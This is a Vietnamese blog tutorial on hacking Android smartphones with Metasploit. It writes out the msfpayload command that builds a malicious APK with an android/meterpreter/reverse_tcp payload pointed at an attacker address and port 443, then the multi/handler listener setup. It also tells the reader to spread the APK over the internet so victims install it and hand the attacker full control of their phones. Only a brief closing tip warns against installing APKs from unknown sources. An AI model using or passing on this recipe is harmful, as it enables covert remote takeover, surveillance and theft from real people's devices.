&nbsp;
Ng&agrave;y nay s&ocirc;́ lượng thi&ecirc;́t bị di động đang tăng l&ecirc;n từng ng&agrave;y đáp ứng nhu c&acirc;̀u của người dùng d&acirc;̃n đ&ecirc;́n c&aacute;c mối đe dọa về bảo mật cũng ng&agrave;y c&agrave;ng gia tăng. Bài vi&ecirc;́t này sẽ hướng d&acirc;̃n các bạn cách l&agrave;m thế n&agrave;o để hack điện thoại th&ocirc;ng minh Android bằng Metasploit.&nbsp;
Gần đ&acirc;y điện thoại android ph&aacute;t triển rất nhanh tr&ecirc;n to&agrave;n thế giới. Ở Trung Quốc, bạn c&oacute; thể sở hữu được m&ocirc;̣t chi&ecirc;́c điện thoại Android chỉ với 30 đ&ocirc; la Mỹ, đ&oacute; l&agrave; một trong những l&yacute; do tại sao Android ph&aacute;t triển nhanh ch&oacute;ng đ&ecirc;́n như v&acirc;̣y
Vậy Android là gì?&nbsp;
Theo <a href="http://en.wikipedia.org/wiki/Android_%28operating_system%29">Wikipedia</a>:
Android l&agrave; hệ điều h&agrave;nh dựa tr&ecirc;n nh&acirc;n Linux v&agrave; được thiết kế chủ yếu cho c&aacute;c thiết bị di động c&oacute; m&agrave;n h&igrave;nh cảm ứng như điện thoại th&ocirc;ng minh v&agrave; m&aacute;y t&iacute;nh bảng. Ban đầu nó được ph&aacute;t triển bởi Android, Inc., được Google hỗ trợ t&agrave;i ch&iacute;nh v&agrave; sau đ&oacute; mua lại v&agrave;o năm 2005, Android được c&ocirc;ng bố v&agrave;o năm 2007 c&ugrave;ng với sự th&agrave;nh lập của Open Handset Alliance: một tập đo&agrave;n gồm c&aacute;c c&ocirc;ng ty phần cứng, phần mềm v&agrave; viễn th&ocirc;ng nhằm th&uacute;c đẩy c&aacute;c ti&ecirc;u chuẩn mở cho thiết bị di động c&aacute;c thiết bị.
APK là gì?&nbsp;
Theo Wikipedia:
Tệp g&oacute;i ứng dụng Android (APK) l&agrave; định dạng tệp được sử dụng để ph&acirc;n phối v&agrave; c&agrave;i đặt phần mềm ứng dụng v&agrave; phần mềm trung gian l&ecirc;n hệ điều h&agrave;nh Android của Google; rất giống với g&oacute;i MSI trong Windows hoặc g&oacute;i Deb trong hệ điều h&agrave;nh dựa tr&ecirc;n Debian như Ubuntu.
Đ&acirc;y l&agrave; một số th&ocirc;ng tin ban đầu cho hướng dẫn n&agrave;y:
Địa chỉ IP của kẻ tấn c&ocirc;ng: 192.168.8.94
Cổng kẻ tấn c&ocirc;ng để nhận kết nối: 443
<h2 style="text-align: justify;">Y&ecirc;u cầu:</h2>
<ol style="text-align: justify;">
<li>Metasploit framework (Kali Linux 1.0.6)</li>
</ol>
<ol style="text-align: justify;" start="2">
<li>Điện thoại th&ocirc;ng minh Android (HTC One android 4.4 KitKat)</li>
</ol>
<h2 style="text-align: justify;">Hướng dẫn cách hack điện thoại th&ocirc;ng minh Android bằng Metasploit:</h2>
<ol style="text-align: justify;">
<li> Mở terminal (CTRL + ALT + T) xem hướng dẫn c&aacute;ch <a href="http://www.hacking-tutorial.com/tips-and-trick/how-to-create-keyboard-shortcuts-on-kali-linux/">tạo ph&iacute;m tắt Linux</a>.</li>
<li>Bạn sẽ sử dụng khung tải trọng Metasploit để tạo khai th&aacute;c cho hướng dẫn n&agrave;y.</li>
</ol>
msfpayload android/meterpreter/reverse_tcp LHOST=&lt;attacker_ip_address&gt; LPORT=&lt;port_to_receive_connection&gt;
Như đ&atilde; m&ocirc; tả ở tr&ecirc;n, địa chỉ IP của kẻ tấn c&ocirc;ng l&agrave; 192.168.8.94, dưới đ&acirc;y l&agrave; ảnh chụp m&agrave;n h&igrave;nh khi thực hiện lệnh
&nbsp;
<img style="width: 700px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/0dde65b7-6704-48aa-8607-6add44349cb3" alt="hack 1" />
&nbsp;
<ol style="text-align: justify;" start="3">
<li>V&igrave; payload l&agrave; reverse_tcp, nơi kẻ tấn c&ocirc;ng mong muốn nạn nh&acirc;n kết nối trở lại với m&aacute;y của kẻ tấn c&ocirc;ng, kẻ tấn c&ocirc;ng cần thiết lập tr&igrave;nh xử l&yacute; để xử l&yacute; c&aacute;c kết nối đến cổng đ&atilde; được chỉ định ở tr&ecirc;n. Nhập msfconsole để chuyển đến bảng điều khiển Metasploit.</li>
</ol>
<img style="width: 650px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/90dba7ce-8eb2-4d34-a9fb-0ab20e579bd8" alt="hack 2" />
&nbsp;
Th&ocirc;ng tin:
use exploit/multi/handler &ndash;&gt; sử dụng tr&igrave;nh xử l&yacute; Metasploit
set payload android/meterpreter/reverse_tcp &ndash;&gt; đảm bảo tải trọng giống nhau với bước 2
<ol style="text-align: justify;" start="4">
<li>Bước tiếp theo, bạn cần định cấu h&igrave;nh c&ocirc;ng tắc cho tải trọng Metasploit như đ&atilde; chỉ định trong bước 3.</li>
</ol>
&nbsp;
<img style="width: 600px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/a7fc17b6-eac7-4fa5-b034-9af0c204191e" alt="hack 4" />
&nbsp;
Th&ocirc;ng tin:
set lhost 192.168.8.94 &ndash;&gt; địa chỉ IP của kẻ tấn c&ocirc;ng
set lport 443 &ndash;&gt; cổng để nghe kết nối ngược lại
exploit &ndash;&gt; bắt đầu nghe kết nối đến
<ol style="text-align: justify;" start="5">
<li>Kẻ tấn c&ocirc;ng đ&atilde; c&oacute; tệp APK v&agrave; b&acirc;y giờ hắn sẽ bắt đầu ph&acirc;n phối n&oacute; (internet l&agrave; nơi tốt để ph&acirc;n phối ).</li>
</ol>
<ol style="text-align: justify;" start="6">
<li>Truyện ngắn m&agrave; nạn nh&acirc;n tải xuống tệp APK độc hại v&agrave; c&agrave;i đặt n&oacute;. Sau khi nạn nh&acirc;n mở ứng dụng, bảng điều khiển Metasploit của kẻ tấn c&ocirc;ng nhận được một c&aacute;i g&igrave; đ&oacute; như sau:</li>
</ol>
&nbsp;
<img style="width: 700px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/c77c0c86-a7e7-493c-907b-1256a6bb73f8" alt="hack 5" />
&nbsp;
<ol style="text-align: justify;" start="7">
<li>C&oacute; nghĩa l&agrave; kẻ tấn c&ocirc;ng đ&atilde; c&oacute; trong điện thoại th&ocirc;ng minh Android của nạn nh&acirc;n v&agrave; anh ta c&oacute; thể l&agrave;m mọi thứ với điện thoại của nạn nh&acirc;n.</li>
</ol>
&nbsp;
<img style="width: 650px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/cdb64aae-257a-44c5-94c5-220442d1c819" alt="hack 6" />
&nbsp;
K&ecirc;́t lu&acirc;̣n:
<ol style="text-align: justify;">
<li>Kh&ocirc;ng c&agrave;i đặt APK từ nguồn kh&ocirc;ng x&aacute;c định.</li>
</ol>
<ol style="text-align: justify;" start="2">
<li>Nếu bạn thực sự muốn c&agrave;i đặt APK từ nguồn kh&ocirc;ng x&aacute;c định, h&atilde;y đảm bảo rằng bạn c&oacute; thể xem, đọc v&agrave; kiểm tra m&atilde; nguồn. H&igrave;nh ảnh b&ecirc;n dưới l&agrave; m&atilde; nguồn của APK độc hại trong hướng dẫn n&agrave;y.</li>
</ol>
Hãy chia sẻ b&agrave;i đăng n&agrave;y nếu bạn thấy n&oacute; hữu &iacute;ch nhé.

Admin

Hướng dẫn hack điện Smartphone Android bằng Metasploit

Cùng tác giả

Admin

Có liên quan